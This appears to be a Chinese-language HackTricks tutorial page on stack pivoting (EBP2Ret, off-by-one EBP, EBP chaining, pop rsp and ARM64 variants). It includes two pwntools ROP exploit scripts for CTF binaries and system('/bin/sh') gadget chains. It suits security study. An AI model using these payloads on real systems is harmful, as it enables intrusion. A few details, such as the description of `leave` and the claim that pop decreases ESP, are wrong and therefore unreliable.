# Stack Pivoting - EBP2Ret - EBP chaining

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## 基本信息

这种技术利用了操纵\*\*基指针（EBP）**的能力，通过精心使用EBP寄存器和**`leave; ret`\*\*指令序列来链接多个函数的执行。

作为提醒，\*\*`leave`\*\*基本上意味着：

```
mov       ebp, esp
pop       ebp
ret
```

### EBP2Ret

这种技术在你可以**改变 EBP 寄存器但无法直接改变 EIP 寄存器**时特别有用。它利用了函数执行完毕时的行为。

如果在 `fvuln` 执行期间，你成功地在栈中注入一个指向内存中你的 shellcode 地址的**伪造 EBP**（再加上 4 个字节以考虑 `pop` 操作），你就可以间接控制 EIP。当 `fvuln` 返回时，ESP 被设置为这个精心构造的位置，随后的 `pop` 操作将 ESP 减少 4，**有效地使其指向攻击者在其中存储的地址。**\
注意你**需要知道 2 个地址**：ESP 将要到达的地址，你需要在那里写入 ESP 指向的地址。

#### 攻击构造

首先，你需要知道一个**可以写入任意数据/地址的地址**。ESP 将指向这里并**运行第一个 `ret`**。

然后，你需要知道 `ret` 使用的地址，将**执行任意代码**。你可以使用：

* 一个有效的 [**ONE\_GADGET**](https://github.com/david942j/one_gadget) 地址。
* **`system()`** 地址，后跟**4 个无效字节**和 `"/bin/sh"` 地址（x86 位）。
* 一个\*\*`jump esp;`\*\* gadget 地址（[**ret2esp**](https://hacktricks.xsx.tw/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg)），后跟要执行的**shellcode**。
* 一些 [**ROP**](https://hacktricks.xsx.tw/binary-exploitation/rop-return-oriented-programing) 链

请记住，在受控内存部分的任何这些地址之前，必须有\*\*`4` 个字节\*\*，因为 `leave` 指令的 `pop` 部分。可以滥用这 4B 来设置**第二个伪造 EBP**并继续控制执行。

#### Off-By-One Exploit

这种技术的一个特定变体称为“Off-By-One Exploit”。当你**只能修改 EBP 的最低有效字节**时使用。在这种情况下，存储要跳转到的地址的内存位置与 EBP 的前三个字节必须相同，允许在更受限制的条件下进行类似的操作。\
通常修改字节 0x00 以跳转尽可能远。

此外，通常在栈中使用 RET 滑梯，并将真正的 ROP 链放在末尾，以使新 ESP 更有可能指向 RET 滑梯内部并执行最终的 ROP 链。

### **EBP 链接**

因此，在栈的 `EBP` 条目中放置一个受控地址，并在 `EIP` 中放置一个指向 `leave; ret` 的地址，就可以**将 `ESP` 移动到栈中受控的 `EBP` 地址**。

现在，**`ESP`** 被控制，指向一个期望的地址，下一个要执行的指令是 `RET`。为了滥用这一点，可以在受控 ESP 位置放置以下内容：

* **`&(下一个伪造 EBP)`** -> 加载新的 EBP，因为 `leave` 指令中的 `pop ebp`
* **`system()`** -> 被 `ret` 调用
* **`&(leave;ret)`** -> 在 system 结束后调用，它将移动 ESP 到伪造 EBP 并重新开始
* **`&("/bin/sh")`**-> `system` 的参数

基本上，通过这种方式可以链接多个伪造的 EBP 来控制程序的流程。

这就像一个 [ret2lib](https://hacktricks.xsx.tw/binary-exploitation/rop-return-oriented-programing/ret2lib)，但更复杂，没有明显的好处，但在某些边缘情况下可能会很有趣。

此外，这里有一个[**挑战示例**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave)，使用这种技术和一个**栈泄漏**来调用一个获胜函数。这是页面上的最终有效载荷：

```python
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (just get to RBP)

payload += flat(
buffer,         # Load leak address in RBP
LEAVE_RET       # Use leave ro move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())
```

## EBP可能不会被使用

正如[**在这篇文章中解释的**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1)，如果一个二进制文件被编译时进行了一些优化，**EBP永远无法控制ESP**，因此，任何通过控制EBP来工作的利用都基本上会失败，因为它没有任何真正的效果。\
这是因为如果二进制文件被优化了，**函数的前导和尾声会发生变化**。

* **未优化：**

```bash
push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
```

* **优化：**

```bash
push   %ebx         # save ebx
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore ebx
ret                 # return
```

## 控制 RSP 的其他方法

### **`pop rsp`** 机关

[**在这个页面**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp)中，您可以找到使用这种技术的示例。对于这个挑战，需要调用一个带有两个特定参数的函数，并且有一个\*\*`pop rsp` 机关**以及**来自堆栈的泄漏\*\*：

```python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())
```

### xchg \<reg>, rsp 交换指令

```
pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp
```

### jmp esp

在这里查看ret2esp技术：

{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg" %}
[ret2esp-ret2reg](https://hacktricks.xsx.tw/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg)
{% endcontent-ref %}

## 参考资料和其他示例

* <https://bananamafia.dev/post/binary-rop-stackpivot/>
* <https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting>
* <https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html>
* 64位，通过一个以ret sled开头的rop链进行的一个利用
* <https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html>
* 64位，无relro，canary，nx和pie。程序提供了一个用于获取堆栈或pie泄漏以及qword的WWW的泄漏。首先获取堆栈泄漏，然后使用WWW返回并获取pie泄漏。然后使用WWW创建一个滥用`.fini_array`条目+调用`__libc_csu_fini`的永久循环（[更多信息请参见此处](https://hacktricks.xsx.tw/binary-exploitation/write-what-where-2-exec/www2exec-.dtors-and-.fini_array)）。通过滥用这种“永久”写入，在.bss中编写了一个ROP链，并最终调用它通过RBP进行枢轴转换。

## ARM64

在ARM64中，函数的**入口和出口**不会在堆栈中存储和检索SP寄存器。此外，**`RET`指令不会返回到SP指向的地址，而是返回到`x30`内的地址**。

因此，默认情况下，仅仅滥用出口，您将无法通过覆盖堆栈内的某些数据来控制SP寄存器。即使您设法控制SP，您仍需要一种方法来\*\*控制`x30`\*\*寄存器。

* 入口

```armasm
sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FP指向帧记录
```

* 出口

```armasm
ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
```

{% hint style="danger" %}
在ARM64中执行类似于堆栈枢轴的方法是能够**控制`SP`**（通过控制某个将值传递给`SP`的寄存器或者因为某种原因`SP`正在从堆栈中获取其地址并且我们有一个溢出）然后滥用出口从\*\*受控`SP`**加载**`x30`**寄存器并**`RET`\*\*到它。
{% endhint %}

此外，在以下页面中，您可以看到ARM64中**Ret2esp的等效**：

{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg" %}
[ret2esp-ret2reg](https://hacktricks.xsx.tw/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg)
{% endcontent-ref %}
